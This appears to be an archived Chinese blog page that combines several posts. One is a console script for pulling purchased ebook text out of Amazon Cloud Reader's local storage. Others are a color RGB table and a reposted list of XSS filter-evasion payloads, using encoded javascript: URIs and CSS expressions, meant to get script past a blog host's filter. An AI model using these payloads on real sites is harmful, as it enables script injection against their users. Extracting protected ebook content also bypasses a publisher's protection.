从Amazon Cloud Reader导出离线电子书

原文地址:http://sakinijino.com/archives/4022

功能:通过Amazon Cloud Reader,获得已购买书籍的原文。

步骤:

访问 https://read.amazon.com/
右键想获得原文的书,选择Download & Pin
等待下载结束,书上出现绿色别针
点击进入阅读
打开链接。把其中文本复制到Amazon Reader的地址栏中
(Safari下过;但在Chrome下测试出现诡异的错误。如果Chrome没效果,可以按F12进入Console Tab,把“javascript:”后面的部分粘贴到命令行中)
等一会儿,然后Ctrl-A & Ctrl-C
回馈社会

原理:Kindle Reader用了localStorage database来存储Pin到本地书籍,这些数据库中的内容除了被lz压缩外,没有特殊处理,所以只要把数据取出来解压缩即可。

不足:不能获得图片(图片也是被放进database的,实现起来不难,只是我懒得改了);文本是带html标签的,直接贴到支持html标签的编辑器中可能会出问题。

原文源代码


(function (){
function getContent(cb){
  function getAsin(cb){
    var title = $("#KindleReaderIFrame")[0].contentWindow.document.getElementById("kindleReader_title").innerHTML;
    KindleDBClient.getAppDb().getTable('bookdata').getRecord({title:title}).done(function(e){cb(e[0].asin)});
  };
  function getF(asin, cb){
    var bookdb =$("#KindleReaderIFrame")[0].contentWindow.KindleReaderBookInfoProviderDB.BookInfoDB(asin);
    bookdb.getFragmentIds().done(function(e){
      bookdb.getFragments(e).done(cb);
    })
  };
  function getMD(asin, cb){KindleDBClient.getBookDb().getTable("bookinfo").getRecord({asin:asin}).done(function(e){cb(e[0].metadata)})};

  getAsin(function(asin){
  getF(asin, function(fragments){
  getMD(asin, function(md){
    var kc = $("#KindleReaderIFrame")[0].contentWindow.KindleCompression;
    c = {};
    kc.lzAddStringsToDictionary(md.cpr, c);
    kc.lzAddNumbersToDictionary(c);
    d = kc.lzGetDecompressionDictionary(c);
    content = "";
    for (var i=0; i<fragments.length; ++i)
      if (fragments[i]) content += kc.lzExpandWithStaticDictionary(fragments[i].fragmentData, d, 256);
    cb(content);
  })})})
};
getContent(function(c){document.body.innerHTML = c});
})();

以下为亦忧更新部分:

在Chrome中运行,有的书会报错。Uncaught TypeError: Cannot read property ‘asin’ of undefined。找了下原因。

有的书网页上的书名和缓存数据库中的书名不匹配,导致代码第四行title在数据库查询中返回空对象undefined。

修正:
1、Chrome中按ctrl+shift+j,进入开发模式。Resources下找到Databases>K4W>bookdata,将title列中的值替换第四行代码。即:
var title = $(“#KindleReaderIFrame”)[0].contentWindow.document.getElementById(“kindleReader_title”).innerHTML;
改为
var title = “Robin Nixon’s PHP Crash Course: Learn PHP in 14 easy lessons”;(比如这本书)

Chrome可以直接保存文件为完整的HTML。默认滚动条会被隐藏。用文本编辑器打开保存的文件,去掉头上没用的HTML标签,就可以方便阅读了。

继续更新:

2、发现下载有的书出现第二个错误,Uncaught TypeError: Object [object Window] has no method ‘getBookDb’。将第8行代码修改了一下。即:
var bookdb =$(“#KindleReaderIFrame”)[0].contentWindow.KindleReaderBookInfoProviderDB.BookInfoDB(asin);
改为
var bookdb = KindleDBClient.getBookDb().BookInfoDB(asin);

3、又发现第三个错误,TypeError: Object # has no method ‘getAppDb’。查了一下KindleDBClient的值似乎丢失了,找不到相应的函数调用。简单的解决方法:将KindleDBClient替换为KindleModuleManager.getModuleSync(KindleModuleManager.DB_CLIENT)

20140605更新:
4、发现#2号更新失效,再次改为:
var bookdb = KindleModuleManager.getModuleSync(KindleModuleManager.DB_CLIENT).getBookDb().BookInfoDB(asin);

修改后的代码如下:


(function (){
function getContent(cb){
  function getAsin(cb){
    var title = $("#KindleReaderIFrame")[0].contentWindow.document.getElementById("kindleReader_title").innerHTML;
    KindleModuleManager.getModuleSync(KindleModuleManager.DB_CLIENT).getAppDb().getTable('bookdata').getRecord({title:title}).done(function(e){cb(e[0].asin)});
  };
  function getF(asin, cb){
    var bookdb = KindleModuleManager.getModuleSync(KindleModuleManager.DB_CLIENT).getBookDb().BookInfoDB(asin);
    bookdb.getFragmentIds().done(function(e){
      bookdb.getFragments(e).done(cb);
    })
  };
  function getMD(asin, cb){KindleModuleManager.getModuleSync(KindleModuleManager.DB_CLIENT).getBookDb().getTable("bookinfo").getRecord({asin:asin}).done(function(e){cb(e[0].metadata)})};

  getAsin(function(asin){
  getF(asin, function(fragments){
  getMD(asin, function(md){
    var kc = $("#KindleReaderIFrame")[0].contentWindow.KindleCompression;
    c = {};
    kc.lzAddStringsToDictionary(md.cpr, c);
    kc.lzAddNumbersToDictionary(c);
    d = kc.lzGetDecompressionDictionary(c);
    content = "";
    for (var i=0; i<fragments.length; ++i)
      if (fragments[i]) content += kc.lzExpandWithStaticDictionary(fragments[i].fragmentData, d, 256);
    cb(content);
  })})})
};
getContent(function(c){document.body.innerHTML = c});
})();
Advertisements

颜色表

A

B

C

D

E

F

G

H

I

J

K

L

M

N

O

P

Q

R

S

T

U

V

W

X

Y

Z

AliceBlue 240,248,255 LightSalmon 255,160,122
AntiqueWhite 250,235,215 LightSeaGreen 32,178,170
Aqua 0,255,255 LightSkyBlue 135,206,250
Aquamarine 127,255,212 LightSlateGray 119,136,153
Azure 240,255,255 LightSteelBlue 176,196,222
Beige 245,245,220 LightYellow 255,255,224
Bisque 255,228,196 Lime 0,255,0
Black 0,0,0 LimeGreen 50,205,50
BlanchedAlmond 255,255,205 Linen 250,240,230
Blue 0,0,255 Magenta 255,0,255
BlueViolet 138,43,226 Maroon 128,0,0
Brown 165,42,42 MediumAquamarine 102,205,170
BurlyWood 222,184,135 MediumBlue 0,0,205
CadetBlue 95,158,160 MediumOrchid 186,85,211
Chartreuse 127,255,0 MediumPurple 147,112,219
Chocolate 210,105,30 MediumSeaGreen 60,179,113
Coral 255,127,80 MediumSlateBlue 123,104,238
CornflowerBlue 100,149,237 MediumSpringGreen 0,250,154
Cornsilk 255,248,220 MediumTurquoise 72,209,204
Crimson 220,20,60 MediumVioletRed 199,21,112
Cyan 0,255,255 MidnightBlue 25,25,112
DarkBlue 0,0,139 MintCream 245,255,250
DarkCyan 0,139,139 MistyRose 255,228,225
DarkGoldenrod 184,134,11 Moccasin 255,228,181
DarkGray 169,169,169 NavajoWhite 255,222,173
DarkGreen 0,100,0 Navy 0,0,128
DarkKhaki 189,183,107 OldLace 253,245,230
DarkMagena 139,0,139 Olive 128,128,0
DarkOliveGreen 85,107,47 OliveDrab 107,142,45
DarkOrange 255,140,0 Orange 255,165,0
DarkOrchid 153,50,204 OrangeRed 255,69,0
DarkRed 139,0,0 Orchid 218,112,214
DarkSalmon 233,150,122 PaleGoldenrod 238,232,170
DarkSeaGreen 143,188,143 PaleGreen 152,251,152
DarkSlateBlue 72,61,139 PaleTurquoise 175,238,238
DarkSlateGray 40,79,79 PaleVioletRed 219,112,147
DarkTurquoise 0,206,209 PapayaWhip 255,239,213
DarkViolet 148,0,211 PeachPuff 255,218,155
DeepPink 255,20,147 Peru 205,133,63
DeepSkyBlue 0,191,255 Pink 255,192,203
DimGray 105,105,105 Plum 221,160,221
DodgerBlue 30,144,255 PowderBlue 176,224,230
Firebrick 178,34,34 Purple 128,0,128
FloralWhite 255,250,240 Red 255,0,0
ForestGreen 34,139,34 RosyBrown 188,143,143
Fuschia 255,0,255 RoyalBlue 65,105,225
Gainsboro 220,220,220 SaddleBrown 139,69,19
GhostWhite 248,248,255 Salmon 250,128,114
Gold 255,215,0 SandyBrown 244,164,96
Goldenrod 218,165,32 SeaGreen 46,139,87
Gray 128,128,128 Seashell 255,245,238
Green 0,128,0 Sienna 160,82,45
GreenYellow 173,255,47 Silver 192,192,192
Honeydew 240,255,240 SkyBlue 135,206,235
HotPink 255,105,180 SlateBlue 106,90,205
IndianRed 205,92,92 SlateGray 112,128,144
Indigo 75,0,130 Snow 255,250,250
Ivory 255,240,240 SpringGreen 0,255,127
Khaki 240,230,140 SteelBlue 70,130,180
Lavender 230,230,250 Tan 210,180,140
LavenderBlush 255,240,245 Teal 0,128,128
LawnGreen 124,252,0 Thistle 216,191,216
LemonChiffon 255,250,205 Tomato 253,99,71
LightBlue 173,216,230 Turquoise 64,224,208
LightCoral 240,128,128 Violet 238,130,238
LightCyan 224,255,255 Wheat 245,222,179
LightGoldenrodYellow 250,250,210 White 255,255,255
LightGreen 144,238,144 WhiteSmoke 245,245,245
LightGray 211,211,211 Yellow 255,255,0
LightPink 255,182,193 YellowGreen 154,205,50

避开空间对脚本过滤的例子

文章来源:避开空间对脚本过滤的例子
http://info.7fnet.com/Document/132/2008-03-D828CE65ECA34B47.html

首先是Monyer的办法,利用IMG标签SRC属性嵌入脚本。这种办法公开已经有几天时间了,目前还没有被封:
(1) <IMG SRC=javascript:alert(”XSS”);>

如果你是vbs爱好者,也可以这样用:
(2) <IMG SRC=”vbscript:msgbox(XSS)”>

如果过滤了SRC里面的javascript,vbscript,可以尝试在关键字中间嵌入white space字符逃避过滤:
(3) <IMG SRC=jav ascript:alert(”XSS”); >
(4) <IMG SRC=jav ascript:alert(”XSS”); >
(5) <IMG SRC=jav ascript:alert(”XSS”); >

如果再把white space字符都过滤的话,可以用多种形式的转义编码来逃避过滤(其中&#[字符十进制编码值]和&#x[十六进制编码值]是常用的转义编码方式。):
(6) <IMG SRC=javascript
:alert('XSS')>
(7) <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114
&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114
&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
(8) <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65
&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

除了IMG可以利用,TABLE和TD标签也可以用来嵌入脚本:
(9) <TABLE BACKGROUND=javascript:alert(”XSS”)>
(10) <TABLE><TD BACKGROUND=javascript:alert(”XSS”)>

已经过滤了STYLE属性里面的javascript等关键字,但编码后可以逃避过滤:
(11) <DIV STYLE=background-image:07507206C02806A06107606107306307206907007403A06106C065072074028027058053053027029029>

在关键字中间嵌入注释字串,可以逃避过滤:
(12) <IMG STYLE=xss:expr/*XSS*/ession(alert(”XSS”))>

贴音乐的代码

以下是在文章中贴音乐的代码:

或者

http://你要链接的音乐网址

flv

http://Flvplayer.swf